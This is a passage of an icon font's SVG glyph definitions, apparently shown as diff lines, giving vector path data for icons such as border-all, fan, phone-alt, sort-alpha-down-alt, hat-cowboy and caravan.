-57.3545 128 -128s-57.3545 -128 -128 -128s-128 57.3545 -128 128 +s57.3545 128 128 128zM512 0c35.3223 0 64 28.6777 64 64s-28.6777 64 -64 64s-64 -28.6777 -64 -64s28.6777 -64 64 -64zM128 192c70.6455 0 128 -57.3545 128 -128s-57.3545 -128 -128 -128s-128 57.3545 -128 128s57.3545 128 128 128zM128 0c35.3223 0 64 28.6777 64 64 +s-28.6777 64 -64 64s-64 -28.6777 -64 -64s28.6777 -64 64 -64z" /> + <glyph glyph-name="border-all" unicode="" horiz-adv-x="448" +d="M416 416c17.6611 0 32 -14.3389 32 -32v-384c0 -17.6611 -14.3389 -32 -32 -32h-384c-17.6611 0 -32 14.3389 -32 32v384c0 17.6611 14.3389 32 32 32h384zM384 352h-128v-128h128v128zM192 352h-128v-128h128v128zM64 32h128v128h-128v-128zM256 32h128v128h-128v-128z +" /> + <glyph glyph-name="border-none" unicode="" horiz-adv-x="448" +d="M240 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM336 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h32zM432 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM144 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM240 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM336 32c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 128 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 320c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h32zM240 128c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM240 320c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM144 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM240 416c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM336 416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 416 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM48 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h32zM48 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM48 128c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM48 320c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM48 416c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM144 416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32z" /> + <glyph glyph-name="border-style" unicode="" horiz-adv-x="448" +d="M240 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM144 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h32zM336 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 128c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 32c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 320c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32zM432 416 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-368v-368c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v400c0 17.6611 14.3389 32 32 32h400z" /> + <glyph glyph-name="fan" unicode="" +d="M352.57 320c81.79 0 149.3 -61.6299 159.3 -141.33c1.30957 -10.4795 -7.17969 -19.6396 -17.6201 -18.5898l-123.11 12.4102c8.34082 -22.9707 12.8604 -48.9707 12.8604 -77.0605c0 -81.79 -61.6299 -149.3 -141.33 -159.3 +c-10.4795 -1.30957 -19.6396 7.19043 -18.5898 17.6201l12.4102 123.11c-22.9707 -8.34082 -48.9707 -12.8604 -77.0605 -12.8604c-81.79 0 -149.3 61.6299 -159.3 141.33c-1.30957 10.4795 7.17969 19.6699 17.6201 18.5898l123.11 -12.4102 +c-8.34082 22.9707 -12.8604 48.9707 -12.8604 77.0605c0 81.79 61.6299 149.3 141.33 159.3c10.4795 1.30957 19.6699 -7.17969 18.5898 -17.6201l-12.4102 -123.11c22.9707 8.34082 48.9707 12.8604 77.0605 12.8604zM256 160c17.6611 0 32 14.3389 32 32 +s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32z" /> + <glyph glyph-name="icons" unicode="" +d="M116.65 228.65l-96.79 99.8301c-28 29.0293 -26.4102 77.0996 5 103.88c27.3896 23.3398 68.1895 19.1396 93.29 -6.80078l9.84961 -10.1396l9.86035 10.1396c25.1396 25.9404 65.8896 30.1406 93.2793 6.80078c31.4102 -26.7803 33.0605 -74.8799 4.91016 -103.88 +l-96.75 -99.8301c-2.85449 -2.98242 -6.875 -4.83984 -11.3252 -4.83984s-8.46973 1.85742 -11.3242 4.83984zM260.57 128.16c15.1406 -0.0107422 27.4297 -12.3066 27.4297 -27.4502v-0.00976562v-137.25c0 -15.1436 -12.2891 -27.4395 -27.4297 -27.4502h-233.141 +c-15.1396 0.00585938 -27.4297 12.2988 -27.4297 27.4395v0.0107422v137.25v0.00976562c0 15.1504 12.2998 27.4502 27.4502 27.4502h0.00976562h48l7 14.2402c3.89258 10.3887 13.9082 17.7793 25.6484 17.7793h0.0117188h71.71 +c0.00390625 0 -0.00195312 0.0126953 0.000976562 0.0126953c11.7412 0 21.7666 -7.40332 25.6592 -17.792l7.08008 -14.2402h48zM144 -20c28.6992 0 52 23.3008 52 52s-23.3008 52 -52 52s-52 -23.3008 -52 -52s23.3008 -52 52 -52zM499.4 95.9004 +c9.70996 0 15.75 -8.79004 10.8691 -15.7002l-92.3994 -138.91c-2.42188 -3.19824 -6.24805 -5.25488 -10.5654 -5.25488c-0.118164 0 -0.236328 0.00195312 -0.354492 0.00488281c-8.03027 0 -14.1201 6.25 -12.2305 12.9004l24.2002 83h-62.3096 +c-7.62012 0 -13.5 5.58984 -12.5 11.8896l16.7998 106.93c0.839844 5.2002 6.2002 9.10059 12.5 9.10059h75.5898c8.25 0 14.2803 -6.56055 12.1797 -13.21l-22.3594 -50.75h60.5801zM478.08 447.67c17.9199 2.75 33.9199 -12.1895 33.9199 -31.6699v-144.26 +c-0.269531 -26.3398 -28.7998 -47.6602 -64 -47.6602c-35.3496 0 -64 21.4795 -64 48c0 26.5195 28.6504 48 64 48c5.49219 -0.0498047 10.8096 -0.633789 16 -1.7002v47.1797l-112 -17.2197v-108.58c-0.269531 -26.3398 -28.7998 -47.6602 -64 -47.6602 +c-35.3496 0 -64 21.4805 -64 48c0 26.5205 28.6504 48 64 48c5.49219 -0.0498047 10.8096 -0.632812 16 -1.69922v106.77c0 15.9102 10.8701 29.4102 25.5098 31.6602z" /> + <glyph glyph-name="phone-alt" unicode="" +d="M497.39 86.2002c8.60059 -3.74121 14.6006 -12.2891 14.6006 -22.2588c0 -1.83496 -0.204102 -3.62305 -0.589844 -5.3418l-24 -104c-2.45801 -10.6416 -12 -18.5996 -23.3848 -18.5996h-0.015625c-256.1 0 -464 207.5 -464 464l0.0136719 0.00390625 +c0 11.3848 7.94434 20.9287 18.5859 23.3857l104 24c1.72754 0.392578 3.49805 0.619141 5.34375 0.619141c9.9082 0 18.4307 -5.97656 22.1562 -14.5186l48 -112c1.23828 -2.88965 1.95117 -6.0791 1.95117 -9.41895c0 -7.49512 -3.45215 -14.1904 -8.85059 -18.5811 +l-60.6006 -49.6006c36.7334 -77.9072 99.2822 -140.457 177.19 -177.189l49.5996 60.5996c4.40332 5.39258 11.1113 8.81055 18.6084 8.81055c3.33203 0 6.50684 -0.680664 9.3916 -1.91016z" /> + <glyph glyph-name="phone-square-alt" unicode="" horiz-adv-x="448" +d="M400 416c26.4922 0 48 -21.5078 48 -48v-352c0 -26.4922 -21.5078 -48 -48 -48h-352c-26.4922 0 -48 21.5078 -48 48v352c0 26.4922 21.5078 48 48 48h352zM383.61 108.63c0.235352 1.09082 0.369141 2.21387 0.389648 3.37012 +c-0.301758 6.06445 -3.91992 11.2607 -9.08984 13.79l-70 30c-1.83594 0.71582 -3.83789 1.14355 -5.91016 1.20996c-4.58496 -0.251953 -8.69922 -2.31836 -11.6104 -5.5l-31 -37.8896c-48.7002 22.9775 -87.8018 62.0791 -110.779 110.779l37.8896 31 +c3.18164 2.91113 5.24805 7.02539 5.5 11.6104c-0.0673828 2.07129 -0.495117 4.07324 -1.20996 5.91016l-30 70c-2.53223 5.16797 -7.72754 8.78418 -13.79 9.08984c-1.15527 -0.0253906 -2.27734 -0.15918 -3.37012 -0.389648l-65 -15 +c-6.52246 -1.74707 -11.3818 -7.59961 -11.6299 -14.6104c0 -160.29 130 -290 290 -290c7.11426 0.00292969 13.0762 4.97852 14.6104 11.6299z" /> + <glyph glyph-name="photo-video" unicode="" horiz-adv-x="640" +d="M608 448c17.6611 0 32 -14.3389 32 -32v-320c0 -17.6611 -14.3389 -32 -32 -32h-128v320h-192v-64h-160v96c0 17.6611 14.3389 32 32 32h448zM232 345v30c0 4.9668 -4.0332 9 -9 9h-30c-4.9668 0 -9 -4.0332 -9 -9v-30c0 -4.9668 4.0332 -9 9 -9h30 +c4.9668 0 9 4.0332 9 9zM584 137v30c0 4.9668 -4.0332 9 -9 9h-30c-4.9668 0 -9 -4.0332 -9 -9v-30c0 -4.9668 4.0332 -9 9 -9h30c4.9668 0 9 4.0332 9 9zM584 241v30c0 4.9668 -4.0332 9 -9 9h-30c-4.9668 0 -9 -4.0332 -9 -9v-30c0 -4.9668 4.0332 -9 9 -9h30 +c4.9668 0 9 4.0332 9 9zM584 345v30c0 4.9668 -4.0332 9 -9 9h-30c-4.9668 0 -9 -4.0332 -9 -9v-30c0 -4.9668 4.0332 -9 9 -9h30c4.9668 0 9 4.0332 9 9zM416 288c17.6611 0 32 -14.3389 32 -32v-288c0 -17.6611 -14.3389 -32 -32 -32h-384c-17.6611 0 -32 14.3389 -32 32 +v288c0 17.6611 14.3389 32 32 32h384zM96 224c-17.6611 0 -32 -14.3389 -32 -32s14.3389 -32 32 -32s32 14.3389 32 32s-14.3389 32 -32 32zM384 0v96l-96 96l-128 -128l-32 32l-64 -64v-32h320z" /> + <glyph glyph-name="remove-format" unicode="" horiz-adv-x="640" +d="M336 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32.4902l26.5098 79.5996l67.0898 -51.8301l-9.25977 -27.7695h11.1699zM633.82 -10.0996 +c3.76855 -2.92871 6.17676 -7.50977 6.17676 -12.6475c0 -3.69238 -1.25293 -7.09375 -3.35742 -9.80273l-19.6396 -25.2705c-2.92871 -3.76855 -7.50879 -6.17578 -12.6465 -6.17578c-3.69727 0 -7.10254 1.25684 -9.81348 3.36621l-588.36 454.72 +c-3.76562 2.92871 -6.1709 7.50781 -6.1709 12.6426c0 3.69434 1.25488 7.09766 3.36133 9.80762l19.6299 25.2695c2.92871 3.76855 7.50879 6.17676 12.6465 6.17676c3.69727 0 7.10254 -1.25684 9.81348 -3.36621l114.54 -88.5205v43.9004c0 8.83105 7.16895 16 16 16h416 +c8.83105 0 16 -7.16895 16 -16v-96c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v32h-117.83l-49.1699 -147.59zM309.91 240.24l31.9199 95.7598h-117.83v-29.3604z" /> + <glyph glyph-name="sort-alpha-down-alt" unicode="" horiz-adv-x="448" +d="M176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.89551 -2.89453 -6.89844 -4.68555 -11.3125 -4.68555c-4.41309 0 -8.41211 1.79102 -11.3076 4.68555l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83105 7.16895 16 16 16h32 +c8.83105 0 16 -7.16895 16 -16v-304h48zM288 224c-8.83105 0 -16 7.16895 -16 16v17.6299c0 9.51074 4.14355 18.0566 10.7402 23.9199l61.2598 70.4502h-56c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h128c8.83105 0 16 -7.16895 16 -16v-17.6299 +c0 -9.51074 -4.14355 -18.0566 -10.7402 -23.9199l-61.2598 -70.4502h56c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128zM447.06 -10.6201c0.600586 -1.67969 0.931641 -3.49512 0.931641 -5.37988c0 -8.82812 -7.16406 -15.9951 -15.9912 -16 +h-24.8398c-0.015625 0 -0.0263672 -0.00195312 -0.0419922 -0.00195312c-7.11426 0 -13.1514 4.6543 -15.2285 11.082l-4.40918 12.9199h-71l-4.4209 -12.9199c-2.07617 -6.42773 -8.10938 -11.0801 -15.2246 -11.0801h-0.00488281h-24.8301 +c-8.82715 0.00488281 -15.9863 7.17773 -15.9863 16.0049c0 1.88574 0.326172 3.69531 0.926758 5.375l59.2695 160c2.20996 6.19043 8.125 10.6201 15.0703 10.6201h41.4395c6.94531 0 12.8604 -4.42969 15.0703 -10.6201zM335.61 48h32.7793l-16.3896 48z" /> + <glyph glyph-name="sort-alpha-up-alt" unicode="" horiz-adv-x="448" +d="M16 288c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.89551 2.89453 6.89844 4.68555 11.3115 4.68555c4.41406 0 8.41211 -1.79102 11.3076 -4.68555l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83105 -7.16895 -16 -16 -16 +h-32c-8.83105 0 -16 7.16895 -16 16v304h-48zM288 224c-8.83105 0 -16 7.16895 -16 16v17.6299c0 9.51074 4.14355 18.0566 10.7402 23.9199l61.2598 70.4502h-56c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h128c8.83105 0 16 -7.16895 16 -16v-17.6299 +c0 -9.51074 -4.14355 -18.0566 -10.7402 -23.9199l-61.2598 -70.4502h56c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128zM447.06 -10.6201c0.600586 -1.67969 0.931641 -3.49512 0.931641 -5.37988c0 -8.82812 -7.16406 -15.9951 -15.9912 -16 +h-24.8398c-0.015625 0 -0.0263672 -0.00195312 -0.0419922 -0.00195312c-7.11426 0 -13.1514 4.6543 -15.2285 11.082l-4.40918 12.9199h-71l-4.4209 -12.9199c-2.07617 -6.42773 -8.10938 -11.0801 -15.2246 -11.0801h-0.00488281h-24.8301 +c-8.82715 0.00488281 -15.9863 7.17773 -15.9863 16.0049c0 1.88574 0.326172 3.69531 0.926758 5.375l59.2695 160c2.20996 6.19043 8.125 10.6201 15.0703 10.6201h41.4395c6.94531 0 12.8604 -4.42969 15.0703 -10.6201zM335.61 48h32.7793l-16.3896 48z" /> + <glyph glyph-name="sort-amount-down-alt" unicode="" +d="M240 352c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h64c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-64zM240 224c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h128c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-128zM496 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-256c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h256zM240 96c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h192 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-192zM176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.89551 -2.89453 -6.89844 -4.68555 -11.3125 -4.68555c-4.41309 0 -8.41211 1.79102 -11.3076 4.68555l-80 96 +c-10.0801 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83105 7.16895 16 16 16h32c8.83105 0 16 -7.16895 16 -16v-304h48z" /> + <glyph glyph-name="sort-amount-up-alt" unicode="" +d="M240 352c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h64c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-64zM240 224c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h128c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-128zM496 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-256c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h256zM240 96c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h192 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-192zM16 288c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96c2.89551 2.89453 6.89844 4.68555 11.3115 4.68555c4.41406 0 8.41211 -1.79102 11.3076 -4.68555l80 -96 +c10.0801 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v304h-48z" /> + <glyph glyph-name="sort-numeric-down-alt" unicode="" horiz-adv-x="448" +d="M176 96c14.2197 0 21.3496 -17.2598 11.3301 -27.3096l-80 -96c-2.89551 -2.89453 -6.89844 -4.68555 -11.3125 -4.68555c-4.41309 0 -8.41211 1.79102 -11.3076 4.68555l-80 96c-10.0703 10.0693 -2.90039 27.3096 11.29 27.3096h48v304c0 8.83105 7.16895 16 16 16h32 +c8.83105 0 16 -7.16895 16 -16v-304h48zM400 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-96c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h16v64h-16c-8.82422 0.0078125 -15.9775 7.18945 -15.9775 16.0156 +c0 2.57129 0.608398 5.00098 1.6875 7.1543l16 32c2.62598 5.23926 8.03613 8.8252 14.29 8.83008h48c8.83105 0 16 -7.16895 16 -16v-112h16zM330.17 413.09c53.4502 14.25 101.83 -25.8799 101.85 -77.0898v-10.7695c0 -70.3906 -28.25 -107.23 -86.25 -132 +c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408c7.59961 3.28516 14.6064 7.64258 20.8496 12.9092c-47.6396 4.76074 -83.0996 51.4805 -68.8301 102.53c7.62891 26.2793 28.5596 46.9287 55 54.1699 +zM352 316c11.0381 0 20 8.96191 20 20s-8.96191 20 -20 20s-20 -8.96191 -20 -20s8.96191 -20 20 -20z" /> + <glyph glyph-name="sort-numeric-up-alt" unicode="" horiz-adv-x="448" +d="M107.31 411.31l80 -96c10.0703 -10.0693 2.90039 -27.3096 -11.3096 -27.3096h-48v-304c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v304h-48c-14.2197 0 -21.3496 17.2598 -11.3096 27.3096l80 96 +c2.89551 2.89453 6.89844 4.68555 11.3115 4.68555c4.41406 0 8.41211 -1.79102 11.3076 -4.68555zM400 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-96c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h16v64h-16 +c-8.82422 0.0078125 -15.9775 7.18945 -15.9775 16.0156c0 2.57129 0.608398 5.00098 1.6875 7.1543l16 32c2.62598 5.23926 8.03613 8.8252 14.29 8.83008h48c8.83105 0 16 -7.16895 16 -16v-112h16zM330.17 413.09c53.4502 14.25 101.83 -25.8799 101.85 -77.0898 +v-10.7695c0 -70.3906 -28.25 -107.23 -86.25 -132c-8.36914 -3.58008 -18.0293 1.2793 -20.8994 9.90918l-9.90039 20c-2.62012 7.87012 0.610352 16.9404 8.18066 20.3408c7.59961 3.28516 14.6064 7.64258 20.8496 12.9092 +c-47.6396 4.76074 -83.0996 51.4805 -68.8301 102.53c7.62891 26.2793 28.5596 46.9287 55 54.1699zM352 316c11.0381 0 20 8.96191 20 20s-8.96191 20 -20 20s-20 -8.96191 -20 -20s8.96191 -20 20 -20z" /> + <glyph glyph-name="spell-check" unicode="" horiz-adv-x="576" +d="M272 192c-8.83105 0 -16 7.16895 -16 16v224c0 8.83105 7.16895 16 16 16h75c42.2998 0 80.9004 -30.5703 84.6699 -72.6797c0.225586 -2.44238 0.289062 -4.91895 0.289062 -7.41895c0 -13.5479 -3.38281 -26.3115 -9.34863 -37.4912 +c15.6377 -14.5762 25.3984 -35.2832 25.3984 -58.3262c0 -1.59277 -0.046875 -3.1748 -0.138672 -4.74414c-2.50977 -43.1396 -41.3105 -75.3398 -84.5098 -75.3398h-91.3604zM312 392v-48h40c13.2461 0 24 10.7539 24 24s-10.7539 24 -24 24h-40zM312 296v-48h56 +c13.2461 0 24 10.7539 24 24s-10.7539 24 -24 24h-56zM155.12 425.75l68.2998 -213.48c0.376953 -1.36035 0.580078 -2.79004 0.580078 -4.26953c0 -8.83105 -7.16895 -16 -16 -16h-24.9297c-7.35059 0 -13.5488 4.97168 -15.4199 11.7305l-11.9404 36.2695h-87.4199 +l-11.9404 -36.2695c-1.87109 -6.75879 -8.06934 -11.7305 -15.4199 -11.7305h-24.9297c-8.82617 0.00488281 -15.9883 7.16895 -15.9883 15.9961c0 1.47949 0.201172 2.91309 0.578125 4.27344l68.29 213.48c4.12695 12.9004 16.2168 22.25 30.4805 22.25h25.2793 +c14.2637 0 26.3535 -9.34961 30.4805 -22.25zM89.3701 304h45.2598l-22.6299 68.7002zM571.37 171.52c2.8916 -2.89453 4.65918 -6.89648 4.65918 -11.3066c0 -4.40137 -1.78027 -8.38867 -4.65918 -11.2832l-208 -208.21 +c-2.88086 -2.91406 -6.88379 -4.7207 -11.3018 -4.7207s-8.41699 1.80664 -11.2988 4.7207l-112 112.21c-2.88477 2.89453 -4.66895 6.8916 -4.66895 11.2979c0 4.40527 1.78418 8.39746 4.66895 11.292l45.3008 45.3008c2.87891 2.91309 6.87988 4.71973 11.2969 4.71973 +c4.41602 0 8.41309 -1.80664 11.293 -4.71973l55.4102 -55.5l151.5 151.5c2.87891 2.91309 6.87988 4.71973 11.2969 4.71973c4.41602 0 8.41309 -1.80664 11.293 -4.71973z" /> + <glyph glyph-name="voicemail" unicode="" horiz-adv-x="640" +d="M496 320c79.4756 0 144 -64.5244 144 -144s-64.5244 -144 -144 -144h-352c-79.4727 0.00390625 -144.079 64.3818 -144.079 143.854c0 79.4766 64.5244 144 144 144c79.4766 0 144 -64.5234 144 -144c0 -29.5293 -8.90723 -56.9961 -24.1807 -79.8545h112.52 +c-15.2734 22.8584 -24.2598 50.4697 -24.2598 80c0 79.4756 64.5244 144 144 144zM64 176c0 -44.1533 35.8467 -80 80 -80s80 35.8467 80 80s-35.8467 80 -80 80s-80 -35.8467 -80 -80zM496 96c44.1533 0 80 35.8467 80 80s-35.8467 80 -80 80s-80 -35.8467 -80 -80 +s35.8467 -80 80 -80z" /> + <glyph glyph-name="hat-cowboy" unicode="" horiz-adv-x="640" +d="M490 151.1c-38.7695 -12.5898 -93.7305 -23.0996 -170 -23.0996s-131.19 10.5303 -169.99 23.1201c9.50977 57.4102 39.5098 232.88 97.71 232.88c14 0 26.4902 -6 37 -14c9.78516 -7.45996 22.0947 -11.8906 35.3369 -11.8906c13.2432 0 25.458 4.43066 35.2432 11.8906 +c10.5098 8.07031 23 14 37 14c58.21 0 88.21 -175.51 97.7002 -232.9zM632.9 188.28c4.27637 -2.87402 7.08008 -7.75195 7.08008 -13.2871c0 -1.94043 -0.34668 -3.80078 -0.980469 -5.52344c-0.730469 -2.01953 -77.3203 -201.47 -319 -201.47s-318.27 199.45 -319 201.47 +c-0.625977 1.71289 -0.966797 3.56543 -0.966797 5.49316c0 8.83105 7.16992 16 16 16c4.12012 0 7.87891 -1.56055 10.7168 -4.12305c1.01953 -0.899414 102.42 -90.8398 293.24 -90.8398c191.89 0 292.16 89.8799 293.16 90.7803 +c2.84863 2.61816 6.6709 4.20996 10.8428 4.20996c3.2959 0 6.36035 -0.999023 8.90723 -2.70996z" /> + <glyph glyph-name="hat-cowboy-side" unicode="" horiz-adv-x="640" +d="M260.8 156.94l98.0098 -84.4805c78.1904 -67.3896 129.98 -104.46 233.19 -104.46h-546.12c-14.0498 0 -27.1299 7.53027 -35.8799 20.6396c-9 13.4707 -12.1201 30.7002 -8.57031 47.3008c20.04 93.3398 85.5703 156.06 162.971 156.06 +c34.3994 0 67.7695 -12.1201 96.3994 -35.0596zM495.45 175.23c114.95 -7.90039 144.55 -101.841 144.55 -127.23c0 -26.4922 -21.5078 -48 -48 -48c-97.0996 0 -141.24 35.46 -212.31 96.7002l-98 84.4795c-35.29 28.2705 -75.5 42.8203 -117.29 42.8203 +c-7.09082 0 -13.8906 -1.16992 -20.79 -2l6.88965 65.21c2.96094 27.6465 23.6035 50.1143 50.3496 55.79l191.15 40.5898c4.31055 0.916992 8.73828 1.34277 13.3203 1.34277c31.6191 0 57.9131 -22.9785 63.0801 -53.1328z" /> + <glyph glyph-name="mouse" unicode="" horiz-adv-x="384" +d="M0 96v128h384v-128c0 -88.3066 -71.6934 -160 -160 -160h-64c-88.3066 0 -160 71.6934 -160 160zM176 448v-192h-176v32c0 88.3066 71.6934 160 160 160h16zM224 448c88.3066 0 160 -71.6934 160 -160v-32h-176v192h16z" /> + <glyph glyph-name="record-vinyl" unicode="" +d="M256 296c57.3994 0 104 -46.6006 104 -104s-46.6006 -104 -104 -104s-104 46.6006 -104 104s46.6006 104 104 104zM256 168c13.2461 0 24 10.7539 24 24s-10.7539 24 -24 24s-24 -10.7539 -24 -24s10.7539 -24 24 -24zM256 440c137 0 248 -111 248 -248 +s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 64c70.6455 0 128 57.3545 128 128s-57.3545 128 -128 128s-128 -57.3545 -128 -128s57.3545 -128 128 -128z" /> + <glyph glyph-name="caravan" unicode="" horiz-adv-x="640" +d="M416 240c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM624 128c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 